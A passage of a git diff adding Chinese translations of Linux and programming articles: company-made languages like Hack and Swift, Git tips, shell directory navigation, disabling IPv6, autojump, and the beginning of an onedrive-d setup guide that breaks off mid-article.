+“不要重复造轮子”这一哲学在绝大多数开发者心中根深蒂固,大公司们对此却并不买账。那他们为何不只是修改下现有语言用于新的用途呢? + +答案很简单,公司们发明他们自己的语言,是因为他们有这个能力。设计一门新语言可能很复杂,但对资源要求却并不很高。困难之处也就在对其提供支持,包括提供软件资源(共享代码库、API、编译器、文档等)以及赢得开发者的心意。大公司们在这两方面尤其擅长。 + +还有一个事实,现有语言通常很难硬塞进如今的复杂代码框架中。举个栗子,[Facebook决定发明的Hack][8],就是一个普遍适用于Web开发的[脚本语言PHP][9]的超集合(superset)。 + +Facebook的Hack最近已经比较普遍,其主要目标就是改进代码的稳定性,针对这一目的,它强制在程序运行之前对数据类型进行检测。这样的检测确保了一个程序,比方说,不会将一个整数解析为一个字符串,这样的错误如果捕获不到很可能会导致不可预知的后果。在Hack中,这些检测会预先执行,以便程序员能够在程序上线前早早发现这样的错误。 + +据Facebook的Hack项目组核心成员Julien Verlaguet透露,公司之前尝试过用一门现有语言实现更高效的编程。但是Facebook的大部分代码都是由PHP编写的,公司实际上已经建立了一个支持PHP及其分支的软件架构。即使能够让PHP同其他语言编写的代码协同工作,实现的难易程度和运行速度都无法满足要求。 + +“比如说我们尝试用Scala重写PHP代码库,”Verlaguet说。“Scala是一门设计优秀的漂亮语言,但是它与PHP完全不兼容。每次我需要从Scala的代码库部分调用PHP的时候,都会损失性能。我们很愿意使用一门现有语言,但是对于我们来说,这条路行不通。” + +于是,Facebook发明了Hack,它与PHP一样能够共用公司现有的架构。Verlaguet介绍说,Facebook的代码库主体已经从PHP迁移到了Hack,同时公司将Hack开源,希望独立开发者们能够帮公司找到Facebook以外的用途。 + +“你仍然可以使用PHP,”他说,“但是我们希望你有使用Hack的欲望。” + +### 谁说了算 ### + +公司和开发者之间有一种微妙的平衡。公司可以按照自己的喜好发明语言。但是如果开发者都不愿使用这门语言,那就没人用了,公司以外的人也就没人愿意将自己的职业生涯托付给这家公司。 + +公司在开发过程中同时使用不同的语言,这并不少见。例如,你可能用Objective-C开发iOS app,但却用Java开发Android app。对开发者来说,这从来都不是症结所在,因为Objective-C和Java都是通用面向对象语言。它们用途广泛适用于很多场合。 + +然而,Hack、Dart、Go和Swift,到目前为止,仍然只适用于严格特定公司的编程解决方案,往往和公司选择的编程环境相对应。诚然,现在下结论可能还太早。比方说Hack,就可以用在一些后端的实现中;它只是太新了,以至于Facebook还没有任何数据供人们如此使用。 + +不是开发者不能学习多门语言。事实上,大多数人已经掌握了多门语言。这好比罗曼斯语(由拉丁语演变而成的语言),如果你会说西班牙语,再去学法语就比那些不会西班牙语的人简单许多。与此类似,如果你已经会Java,再学Ruby或Perl就简单得多。如果你会PHP,基本上就已经学会了Hack。 + +与此相反,学习多门语言更多的是一个习惯问题。如果Java已经解决了你的问题,你就不再有动机去学Ruby。如果你用Objective-C编写iOS app感觉很爽,你就不会有强烈的意愿去学Swift。 + +另外,对于一些开发者来说,封闭生态系统的语言只会使每个人的生活变得更糟。例如,自由设计师Jack Watson-Hamblin就告诉我说,像Apple这样强势推出Swift,其实是在冒险增加程序员的负担,同时将开发者社区割裂开来: + +> 程序员掌握多门语言固然重要,但是不断强迫他们紧跟新语言,却是行不通的。如果我正在开发一个简单的跨平台app,我可不想被迫掌握四门语言再来完成它。如果真的需要,我也只想使用一门语言。 + +Watson-Hamblin就主张说,当每家公司都为了自家需要发明自己的语言时,程序员的注意力被分散,开发的视野也局限于一种,这只会拖慢整个开发进程。他说,“如果拿公司负责一门语言与负责一个开源社区相比较,这两者的区别就好比一家大企业与一个初创小公司的区别”。社区生来就更加灵活,适应能力更强。 + +当然,Apple有[许多非常好的理由推出Swift从零开始][10],就像当初Facebook发明Hack的时候一样。我并不是说,大公司不会强迫开发者接受这种改变,在这方面,有些公司一直都很让人讨厌。 + +“新语言的发明,伴随着霸权的支配,”Verlaguet说,“被迫不停追赶,确实令人沮丧,但另一方面,你又多了一种解决问题的新语言。反过来想想,要是全世界的程序员都用同样一门语言做所有事情,即使啥都凑合着能干,这门语言也一定干得不怎么样”。 + +题图来自于[Flickr user Ruiwen Chua][11],CC 2.0 + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/06/17/apple-swift-facebook-hack-google-dart + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://developer.apple.com/swift/ +[2]:http://readwrite.com/2014/03/20/facebook-new-programming-language-hack +[3]:http://readwrite.com/author/adriana-lee#awesm=~oGfPbJlSrFBamJ +[4]:https://twitter.com/adra_la/statuses/473537386266112000 +[5]:http://en.wikipedia.org/wiki/List_of_programming_languages +[6]:http://en.wikipedia.org/wiki/C_(programming_language) +[7]:http://en.wikipedia.org/wiki/Java_(programming_language) +[8]:http://readwrite.com/2014/03/20/facebook-new-programming-language-hack +[9]:http://en.wikipedia.org/wiki/PHP +[10]:http://blog.erratasec.com/2014/06/why-it-had-to-be-swift.html#.U58BJI1dXtA +[11]:https://www.flickr.com/photos/ruiwen/3260095534 \ No newline at end of file diff --git a/published/201407/20140620 Tips to Push Your Git Skills to the Next Level.md b/published/201407/20140620 Tips to Push Your Git Skills to the Next Level.md new file mode 100644 index 0000000000..6b0f5ada87 --- /dev/null +++ b/published/201407/20140620 Tips to Push Your Git Skills to the Next Level.md @@ -0,0 +1,188 @@ +已经会用Git了?不会这十招怎么行 +================================================================================ + +之前我们发了一些教程让你熟悉[Git基础][1]和[在团队合作环境中使用Git][2].我们讨论的这些Git命令足够让一个开发者在Git的世界里生存下去。在这篇教程里,我们试着探索如何高效地管理你的时间以及如何充分利用Git提供的特性。 + +> 注意:这里介绍的命令中有的包含方括号(例如:`git add -p [file_name]`)。在这些例子中,你应该用你自己的数字、标识符等替代方括号里的内容,并且去掉方括号。 + +### 1. Git自动补全 ### + +如果你在命令行环境中运行Git命令,每次都手动地逐个输入命令是一件很无聊的事。为此,你可以花几分钟时间配置一下Git命令的自动补全功能。 + +在*nix系统运行下列命令下载自动补全脚本: + + cd ~ + curl https://raw.github.com/git/git/master/contrib/completion/git-completion.bash -o ~/.git-completion.bash + +然后,添加下面的行到你的~/.bash_profile文件: + + if [ -f ~/.git-completion.bash ]; then + . ~/.git-completion.bash + fi + +尽管我之前已经提到过,但我还是想再强调一下:如果你想使用完整的Git特性,你绝bi应该切换到命令行环境。 + +### 2. 在Git中忽略文件 ### + +你是不是对出现在你Git库里面的编译生成文件(比如`.pyc`)感到很无语?或者你是不是很厌恶不小心将他们添加到了Git?直接看这里,这里有一个方法可以让你告诉Git忽略所有这些文件和目录。只需要创建一个名字为`.gitignore`的文件,里面列出你不想要Git跟踪的文件和目录。可以用感叹号(!)列出例外情况。 + + *.pyc + *.exe + my_db_config/ + + !main.pyc + +### 3. 谁动了我的代码? ### + +当事情出了乱子时立马责怪别人这是人类的天性。如果你的服务器程序不能正常工作了,要找出罪魁祸首是非常简单的--只需要执行`git blame`。这个命令告诉你文件里的每一行的作者是谁,最后改动那一行的提交,以及提交的时间戳。 + + git blame [file_name] + +![git blame demonstration](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946443git-ninja-01.png) + +在下面的截图里,你可以看到在一个更大的库里这个命令的输出是什么样的: + +![git blame on the ATutor repository](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946441git-ninja-02.png) + +### 4. 查看库的历史 ### + +在之前的教程里,我们已经看过了如何使用`git log`命令。不管怎样,有3个选项你应该知道。 + +- **--oneline** - 压缩每次的提交信息,只保留一个缩减的Hash值和说明文字,然后把这些都展示在一行里。 +- **--graph** - 这个选项将在左边画出一个文字界面的提交历史图。如果你只有一个分支,用这个选项查看历史时是没什么意义的。 +- **--all** - 显示所有分支历史。 + +这是这3个选项合起来使用的效果: + +![Use of git log with all, graph and oneline](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946444git-ninja-03.png) + +### 5. 不要丢失对某个提交的跟踪 ### + +假设你提交了一些不需要的东西,然后你进行了hard重置回到之前的状态。后来,你发现在这个过程中你丢失了其他一些重要的信息,你想要把这些信息找回来,或者至少可以查看一下这些信息。这就需要`git reflog`帮忙。 + +简单的`git log`只能告诉你最近的提交,这个提交的父提交,父提交的父提交,等等。但是`git reflog`是一个HEAD指向的提交的列表。记住,这个列表依赖于你自己的本地操作环境,它不是库的一部分,也不包含在push或者merge中。 + +如果执行`git log`命令,可以看到提交历史,这是我的库的一部分: + +![Project history](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946446git-ninja-04.png) + +但是,`git reflog`命令显示了一个被我用hard重置丢掉的提交(`b1b0ee9`-`HEAD@{4}`). + +![Git reflog](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946447git-ninja-05.png) + +### 6. 暂存文件的一部分更改以便进行一次提交 ### + +通常依据特性来提交是一个好的实践方法,意思是说,每一个提交都只添加一个特性或者修复一个bug。想一下如果你一次修复了两个bug或者添加了两个特性但是都还没有逐个提交该怎么办。这种场景下,你可以将他们一起提交。但是有一个更好的办法:单独暂存这些文件,然后分开提交。 + +让我们假设你对一个文件做了多个更改,然后想让这些更改分开提交。这时,我们用带`-p`的添加命令。 + + git add -p [file_name] + +我们来试试这种用法。我添加了3个新行到`file_name`,但是我只想让第1行和第3行出现在我的提交里。让我们看看`git diff`的输出是什么样的。 + +![Changes in repo](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946449git-ninja-06.png) + +然后,我们看看带`-p`选项的`add`命令会发生什么。 + +![Running add with -p](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946450git-ninja-07.png) + +看起来Git认为所有的更改都是同一个目的的一部分,所以把他们分组到同一个块里。这时,你可以: + +- 输入 y 暂存块 +- 输入 n 不暂存块 +- 输入 e 手动编辑块 +- 输入 d 退出或者跳转到下一个文件 +- 输入 s 分割块 + +在我们这个例子中,我们想把这个块分割成更小的部分,然后选择其中一些忽略另外一些。 + +![Adding all hunks](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946452git-ninja-08.png) + +如你所见,我们已经逐个添加了第1和第3行,忽略了第2行。你可以看到库的状态并且进行一次提交。 + +![Repository after selectively adding a file](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946454git-ninja-09.png) + +### 7. 合并多个提交 ### + +为了进行核查或者发起一个合并请求(这经常发生在开源项目里),对代码进行了修改提交。但在最后代码被接受之前,你也许会需要修改你的代码。于是你修改代码,但是下一次核查的时候又一次需要进行修改。不知不觉中,你就已经有了好几个提交。理论上你应该用rebase命令把他们合并起来。 + + git rebase -i HEAD~[number_of_commits] + +如果你想合并最后的两次提交,你应该运行下面的命令。 + + git rebase -i HEAD~2 + +一旦你运行这个命令,你将进入一个交互式界面,它将询问你想要合并哪些提交。你`pick`(拣选)最近的提交然后`squash`(合并)旧的提交。 + +![Git squash interactive](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946455git-ninja-10.png) + +接着你应该提供一个对新提交的说明。这个过程会重写你的提交历史。 + +![Adding a commit message](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946457git-ninja-11.png) + +### 8. 储藏没有提交的更改 ### + +假设你正在修复一个bug或者添加一个特性,突然你被要求展示一下你的工作成果。你现在的工作还没有完成,不够进行一次提交。这时,`git stash`命令可以用来急救一下。Stash命令跟踪你所有的更改,然后把他们储藏起来以便以后使用。命令如下- + + git stash + +可以多次储藏更改,查看储藏列表,你可以运行下面的命令: + + git stash list + +![Stash list](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946458git-ninja-12.png) + +如果你想取消储藏,覆盖当前的更改,你可以通过下面的命令使用储藏: + + git stash apply + +在最后的这个截图里,你可以看到每个储藏都有一个标识符,是一个唯一的数字(尽管在这里我们只有一个储藏)。如果你想使用某个储藏,你在apply命令后面加上这个唯一的标识符: + + git stash apply stash@{2} + +![After un-stashing changes](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946461git-ninja-13.png) + +### 9. 检查丢失的提交 ### + +尽管`reflog`是一种检查丢失提交的方法,大型的库里却不太实用。这个时候,应该用`fsck`(文件系统检查)命令。 + + git fsck --lost-found + +![Git fsck results](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946463git-ninja-14.png) + +这里你可以看到一个丢失的提交。你可以通过`git show [commit_hash]` 查看提交的更改或者通过运行`git merge [commit_hash]`命令进行恢复。 + +`git fsck`跟`reflog`命令相比有一个优点。假设你删除了一个远程分支,然后clone了这个库。用`fsck`命令你可以找到并且恢复这个删除的远程分支。 + +### 10. 最佳选择 ### + +之前我已经存记下了那些最优雅的Git命令。但是目前为止,`cherry-pick`命令是我最喜欢的Git命令,因为它直白的名字和实用的功能! + +最简单的情况下,`cherry-pick`从另一个分支里选出单独的一个提交,然后合并到当前分支。如果你正并行工作在两个或者更多的分支上,你也许会发现一个存在于所有分支上的bug。如果你解决了一个分支上的这个bug,你可以拣选这个对应的提交应用到其他分支上,而不会弄乱其他文件或者提交。 + +让我们来考虑一个可以使用这个命令的场景。我有两个分支,我想拣选`b20fd14: Cleaned junk`这个提交到另一个分支上。 + +![Before cherry pick](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946465git-ninja-15.png) + +我切换到想要应用这个拣选出来的提交的分支,然后运行下面的命令: + + git cherry-pick [commit_hash] + +![After cherry pick](http://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2014/06/1402946467git-ninja-16.png) + +尽管这次我们很干净的用了`cherry-pick`命令,但你应该知道这个命令经常会引起冲突,所以请小心使用。 + +### 总结 ### + +到了这里,我们结束了这个能使你Git能力提升一个级别的列表。Git是最好的版本控制器,它能完成你能想象到的任何事情。所以,经常试着用Git挑战你自己。一不小心你就会学到很多新东西。 + +-------------------------------------------------------------------------------- + +via: http://www.sitepoint.com/10-tips-git-next-level/ + +译者:[love\_daisy\_love](https://github.com/CNprober) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.sitepoint.com/git-for-beginners/ +[2]:http://www.sitepoint.com/getting-started-git-team-environment/ diff --git a/published/201407/20140623 Advanced Directory Navigations Tips and Tricks in Linux.md b/published/201407/20140623 Advanced Directory Navigations Tips and Tricks in Linux.md new file mode 100644 index 0000000000..8fe22e65f4 --- /dev/null +++ b/published/201407/20140623 Advanced Directory Navigations Tips and Tricks in Linux.md @@ -0,0 +1,97 @@ +Linux 目录导航技巧 +================================================================================ + +目录当行是命令行系统的基础概念.虽然不是什么难以理解的东西,但是知道一些技巧能够丰富你的经验并且提高工作效率.在这篇文章中,我们会讨论这些小技巧。 + +### 我们已经知道的东西 ### + +在开始高级技巧之前,有一些必须知道的基本命令: + +- ‘pwd’显示当前目录 +- ‘cd’ 改变当前目录 +- ‘cd’ 跟两个点(cd ..)能返回父目录 +- ‘cd’ 跟着相对目录就能直接切换当相对目录下 +- ‘cd’ 跟着绝对目录就能切换到绝对目录下 + +### 高阶技巧 ### + +这节将介绍几个技巧方便你进行目录的切换 + +### 从任何地方回到home目录 ### + +虽然使用‘cd /home/<你的主目录>’, 不是什么大麻烦, 但是有一种方法直接打‘cd’ 就能回到你的主目录. + +例子: + + $ pwd + /usr/include/netipx + $ cd + $ pwd + /home/himanshu + +所以无论你在哪个目录下,都能这么干,然后回到home目录。 + +**注意**- 如果要切换到某个其它的指定用户的目录下, 就使用 ‘cd ~user_name' + +### 用cd - 在目录间切换 ### + +假设你的当前工作目录是这样的: + + $ pwd + /home/himanshu/practice + +如果你想切换到 **/usr/bin/X11**, 然后又想回到之前的目录。 你会怎么做? 最直接的 : + + $ cd /usr/bin/X11 + $ cd /home/himanshu/practice/ + +虽然这样行得通,但是要记住这些复杂的目录就太笨了。这种情况下使用 ‘cd -’ 命令就行. + +使用 ‘cd -’的第一步和上面的例子是一样的, 你可以 cd 到你想要切换到的<路径>下,但是回到之前的目录用 ‘cd -’就可以。 + + $ cd /usr/bin/X11 + $ cd - + /home/himanshu/practice + $ pwd + /home/himanshu/practice + +如果你想再次回到刚刚访问的目录(在这个例子中是/usr/bin/X11),再使用'cd -'就可以。但是这个命令只会记住上一次访问的目录,这是一个缺点。 + +### 用 pushd 和 popd 来切换目录 ### + +![directory navigation](http://linoxide.com/wp-content/uploads/2014/06/pushd-popd.jpg) + +如果你对'cd -'非常了解了的话,你会发现这个命令只能帮助你在两个目录之间移动,但是很多场景下需要在很多目录之间切换。比如你要从A切换到B再到C然后又想回到A。 + +一般来说,你需要打出A的完整路径,但是如果这个路径非常复杂,将是非常烦人的一件事,特别是在你的切换非常频繁的话。 + +一些场景下可以使用 ‘pushd’ 还有 ‘popd’ 命令。 ‘pushd’ 将一个目录存到内存中,‘popd’ 将目录从内存中去除,并且转换到那个目录下。 + +例如: + + $ pushd . + /usr/include/netipx /usr/include/netipx + $ cd /etc/hp/ + $ cd /home/himanshu/practice/ + $ cd /media/ + $ popd + /usr/include/netipx + $ pwd + /usr/include/netipx + +使用‘pushd’ 命令存储当前的工作目录 (用 .表示), 然后切换到各种各样的目录去。为了返回之前的目录,只要使用 ‘popd’命令就行了。 + +(LCTT译注:显然,pushd和popd 是堆栈式操作,你可以push多个目录,然后逐一pop出来,自己试试吧。) +(LCTT译注:我们之前介绍的[autojump][1],更加智能,不过需要安装一下。) + +**注意**- 你也可以使用不带参数的 ‘pushd’ 来切换到之前存储的目录, 但是不会像 ‘popd’ 一样去除这个目录。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/directory-navigations-tips-tricks/ + +译者:[ggaaooppeenngg](https://github.com/ggaaooppeenngg) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-3401-1.html diff --git a/published/201407/20140623 How to disable Ipv6 on Ubuntu or Linux Mint or Debian.md b/published/201407/20140623 How to disable Ipv6 on Ubuntu or Linux Mint or Debian.md new file mode 100644 index 0000000000..4b63c6df0f --- /dev/null +++ b/published/201407/20140623 How to disable Ipv6 on Ubuntu or Linux Mint or Debian.md @@ -0,0 +1,137 @@ +如何在Ubuntu,Linux Mint,Debian上禁用IPv6 +================================================================================ +### IPv6 ### + +IPv6是寻址方案IPv4的下一个版本,被用来给域名分配数字地址。 + +IPv6比IPv4支持更多的地址。然而,它还没有被广泛支持,还在被接受的过程中。 + +### 你的系统支持IPv6么? ### + +为了支持IPv6,需要很多事情。首先你需要系统/操作系统支持IPv6。Ubuntu,Linux Mint,和大多是现代发行版都支持它。如果你看一下ifconfig指令的输出,你就会看见你的网络接口被分配了IPv6地址。 + + $ ifconfig + eth0 Link encap:Ethernet HWaddr 00:1c:c0:f8:79:ee + inet addr:192.168.1.2 Bcast:192.168.1.255 Mask:255.255.255.0 + inet6 addr: fe80::21c:c0ff:fef8:79ee/64 Scope:Link + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:110880 errors:0 dropped:0 overruns:0 frame:0 + TX packets:111960 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:62289395 (62.2 MB) TX bytes:25169458 (25.1 MB) + Interrupt:20 Memory:e3200000-e3220000 + + lo Link encap:Local Loopback + inet addr:127.0.0.1 Mask:255.0.0.0 + inet6 addr: ::1/128 Scope:Host + UP LOOPBACK RUNNING MTU:65536 Metric:1 + RX packets:45258 errors:0 dropped:0 overruns:0 frame:0 + TX packets:45258 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:0 + RX bytes:4900560 (4.9 MB) TX bytes:4900560 (4.9 MB) + +看一下行“inet6 addr”。 + +接下来你需要一个支持ipv6的路由器/调制解调器。此外,你的ISP也必须支持IPv6。 + +除了检查网络设备的每一部分,最好查出你是否可以通过IPv6访问网站。 + +有很多网站可以检测你的网络连接是否支持IPv6. 这里就是个例子:[http://testmyipv6.com/][1] + +下面是在内核中启用IPv6的参数: + + $ sysctl net.ipv6.conf.all.disable_ipv6 + net.ipv6.conf.all.disable_ipv6 = 0 + + $ sysctl net.ipv6.conf.default.disable_ipv6 + net.ipv6.conf.default.disable_ipv6 = 0 + + $ sysctl net.ipv6.conf.lo.disable_ipv6 + net.ipv6.conf.lo.disable_ipv6 = 0 + +同样可以在proc文件中检查 + + $ cat /proc/sys/net/ipv6/conf/all/disable_ipv6 + 0 + +注意这里的变量是控制IPv6的“禁用”。所以设置1就会禁用IPv6。 + +### 如果它不支持就禁用IPv6 ### + +如果你的网络设备中不支持IPv6,那最好就全部禁用它们。为什么?因为这会引起域名查询延迟,在网络连接中不必要地尝试连接到IPv6地址导致延迟等等问题。 + +我也遇到过像这样的问题,apt-get命令偶尔会尝试连接到IPv6地址失败接着检索IPv4地址。看一下下面的输出。 + + $ sudo apt-get update + Ign http://archive.canonical.com trusty InRelease + Ign http://archive.canonical.com raring InRelease + Err http://archive.canonical.com trusty Release.gpg + Cannot initiate the connection to archive.canonical.com:80 (2001:67c:1360:8c01::1b). - connect (101: Network is unreachable) [IP: 2001:67c:1360:8c01::1b 80] + Err http://archive.canonical.com raring Release.gpg + Cannot initiate the connection to archive.canonical.com:80 (2001:67c:1360:8c01::1b). - connect (101: Network is unreachable) [IP: 2001:67c:1360:8c01::1b 80] + + ..... + +像这样的错误在最近的Ubuntu中更频繁了,或许它比以前更频繁地尝试使用IPv6地址。 + +我在其他的应用上也注意到了相似的问题,如Hexchat,同样Google Chrome也会有时会在查询域名的时候花费更长的时间。 + +所以最好的方案是完全禁用IPv6来摆脱这些事情。这只需要一点点配置但可以帮助你解决很多你系统上的很多问题。用户甚至反应这可以加速网络。 + +#### 禁用 IPv6 - 方案1 #### + +编辑文件 - /etc/sysctl.conf + + $ sudo gedit /etc/sysctl.conf + +在文件的最后加入下面的行。 + + # IPv6 disabled + net.ipv6.conf.all.disable_ipv6 = 1 + net.ipv6.conf.default.disable_ipv6 = 1 + net.ipv6.conf.lo.disable_ipv6 = 1 + +保存并关闭 + +重启sysctl + + $ sudo sysctl -p + +再次检查ifconfig的输出,这里应该没有IPv6地址了。 + + $ ifconfig + eth0 Link encap:Ethernet HWaddr 08:00:27:5f:28:8b + inet addr:192.168.1.3 Bcast:192.168.1.255 Mask:255.255.255.0 + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:1346 errors:0 dropped:0 overruns:0 frame:0 + TX packets:965 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:1501691 (1.5 MB) TX bytes:104883 (104.8 KB) + +如果不行,尝试重启系统并再次检查ifconfig + +#### 禁用 IPv6 - GRUB 方案 #### + +IPv6同样可以通过编辑grub配置文件禁用。 + + $ sudo gedit /etc/default/grub + +查找包含"GRUB_CMDLINE_LINUX"的行,并如下编辑: + + GRUB_CMDLINE_LINUX="ipv6.disable=1" + +同样可以加入名为"GRUB_CMDLINE_LINUX_DEFAULT"的变量,这同样有用。保存并关闭文件,重新生成grub配置。 + + $ sudo update-grub2 + +重启,现在IPv6应该就已经禁用了。 + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/disable-ipv6-ubuntu/ + +译者:[geekpi](https://github.com/geekpi) ,校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://testmyipv6.com/ diff --git a/published/201407/20140623 How to speed up directory navigation in a Linux terminal.md b/published/201407/20140623 How to speed up directory navigation in a Linux terminal.md new file mode 100644 index 0000000000..4653fdca7e --- /dev/null +++ b/published/201407/20140623 How to speed up directory navigation in a Linux terminal.md @@ -0,0 +1,90 @@ +自动补完不算什么,一键直达目录才是终极神器! +================================================================================ + +在命令行中切换目录是最常用的操作,不过很少有比一遍又一遍重复“cd ls cd ls cd ls ……”更令人沮丧的事情了。如果你不是百分百确定你想要进入的下一个目录的名字,那么你不得不使用ls来确认,然后使用cd来进入你想要进的那一个。所幸的是,现在大量的终端和shell语言提供了强大的自动补全功能来处理该问题。但是,你仍然需要一直疯狂地敲击TAB键来干这事。如果你和我一样懒惰,你一定会对autojump感到惊喜。 + +autojump是一个命令行工具,它允许你可以直接跳转到你喜爱的目录,而不用管你现在身在何处。 + +### 在Linux上安装autojump ### + +在Ubuntu或Debian上安装autojump: + + $ sudo apt-get install autojump + +要在CentOS或Fedora上安装autojump,请使用yum命令。在CentOS上,你需要先[启用EPEL仓库][1]才行。 + + $ sudo yum install autojump + +在Archlinux上安装autojump: + + $ sudo pacman -S autojump + +如果你找不到适合你的版本的包,你可以从[GitHub][2]上下载源码包来编译。 + +### autojump的基本用法 ### + +autojump的工作方式很简单:它会在你每次启动命令时记录你当前位置,并把它添加进它自身的数据库中。这样,某些目录比其它一些目录添加的次数多,这些目录一般就代表你最重要的目录,而它们的“权重”也会增大。 + +现在不管你在哪个目录,你都可以使用下面的语法来直接跳转到这些目录: + + autojump [目录的名字或名字的一部分] + +注意,你不需要输入完整的名称,因为autojump会检索它的数据库,并返回最可能的结果。 + +例如,假定我们正在下面的目录结构中工作。 + +![](https://farm4.staticflickr.com/3921/14276240117_9f56b42fec_z.jpg) + +那么下面的命令将直接让你跳到/root/home/doc下,不管你当前位置在哪里。 + + $ autojump do + +如果你也很讨厌打字,那么我推荐你为autojump起个别名,或者使用默认的别名。 + + $ j [目录的名字或名字的一部分] + +另外一个引人注目的功能是,autojump支持zsh和自动补完。如果你不确认哪里是不是你要跳转的地方,敲击TAB键就会列出完整路径。 + +还是同样的例子,输入: + + $ autojump d + +然后敲击tab键,将会返回/root/home/doc或者/root/home/ddl。 + +最后,对于高级用户,你可以访问目录数据库,并修改它的内容。可以使用下面的命令来手动添加一个目录: + + $ autojump -a [目录] + +如果你突然想要把当前目录变成你的最爱和使用最频繁的文件夹,你可以在该目录通过命令的参数 i 来手工增加它的权重 + + $ autojump -i [权重] + +这将使得该目录更可能被选择跳转。相反的例子是在该目录使用参数 d 来减少权重: + + $ autojump -d [权重] + +要跟踪所有这些改变,输入: + + $ autojump -s + +这会显示数据库中的统计数据。而以下: + + $ autojump --purge + +命令将会把不再存在的目录从数据库中移除。 + +简言之,autojump将会受到所有命令行高级用户的欢迎。不管你是在ssh进一台服务器,还是仅仅想要追随复古潮流,敲更少的键来减少导航时间总是件好事。如果你真的热衷于此类工具,你也肯定也想看看[Fasd][3],它应该会给你一个惊喜,我们下次再介绍它。 + +你觉得autojump怎么样?你会经常用它么?发表一下你的评论吧。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/06/speed-up-directory-navigation-linux-terminal.html + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html +[2]:https://github.com/joelthelion/autojump +[3]:https://github.com/clvv/fasd diff --git a/published/201407/20140624 How to sync Microsoft OneDrive on Linux.md b/published/201407/20140624 How to sync Microsoft OneDrive on Linux.md new file mode 100644 index 0000000000..f2b8423e07 --- /dev/null +++ b/published/201407/20140624 How to sync Microsoft OneDrive on Linux.md @@ -0,0 +1,86 @@ +逝去的纪念:如何在Linux中同步微软 OneDrive +================================================================================ +【编者注】:本文译文完成之后不久,OneDrive 就成了中国人的昨日黄花了。编者想了想,还是发出来罢,仅以此文纪念我们逝去的这个、那个、以及这些和那些。也许若干年后我们回忆起来,我们曾经有过那么多那些,而当时却挑三拣四,没有珍惜,如果再给我一次机会…… + +--- + +[OneDrive][1](以前称为SkyDrive)是微软的一个广受欢迎的云存储产品。目前OneDrive为每一个新注册用户提供7GB免费存储空间。正如你所想,OneDrive与微软其他软件产品很好地集成。微软还提供了一个独立的OneDrive客户端,它会自动备份照相机拍摄的图片和视频到OneDrive。但你猜怎么着。该客户端可用于除Linux的各大PC/移动平台。 + +“OneDrive在任何设备,任何时间”?哦,不,这还不行。 + +不过不要失望。开源社区已经已经拿出了解决方案。 Boilermaker写的[onedrive-d][2]可以完成这项工作。作为监测守护进程运行,onedrive-D可自动将本地文件夹同步到OneDrive云存储。 + +I在本教程中,我将介绍**如何在Linux上使用onedrive-d同步微软OneDrive**。 + +### 在linux上安装onedrive-d ### + +虽然onedrive-d最初是为Ubuntu/ Debian开发的,但它仍然支持CentOS/ Fedora/ RHEL。 + +安装就像输入下面的命令一样容易。 + + $ git clone https://github.com/xybu92/onedrive-d.git + $ cd onedrive-d + $ ./inst install + +### 第一次配置 ### + +安装之后,你需要进行一次性配置来授予onedrive-d对您OneDrive账户的读/写权限。 + +首先,创建将用于对远程OneDrive账户同步的本地文件夹。 + + $ mkdir ~/onedrive + +接着运行下面的命令开启一次性配置。 + + $ onedrive-d + +它接着会弹出如下onedrive-d的设置窗口。在“Location”选项中,选择你之前创建的本地文件夹。在“Authentication”选项中,你会看见“You have not authenticated OneDrive-d yet”(“你还没有授权OneDrive-d”)的信息。现在点击"Connect to OneDrive.com"按钮。 + +![](https://farm4.staticflickr.com/3885/14470579955_1fb92e7cfe.jpg) + +它会弹出一个新窗口来要求你登录OneDrivecom。 + +![](https://farm4.staticflickr.com/3903/14467221981_3d74140f61_z.jpg) + +登录OneDrive.com之后,你会被要求授权onedrive-d访问。选择“Yes”。 + 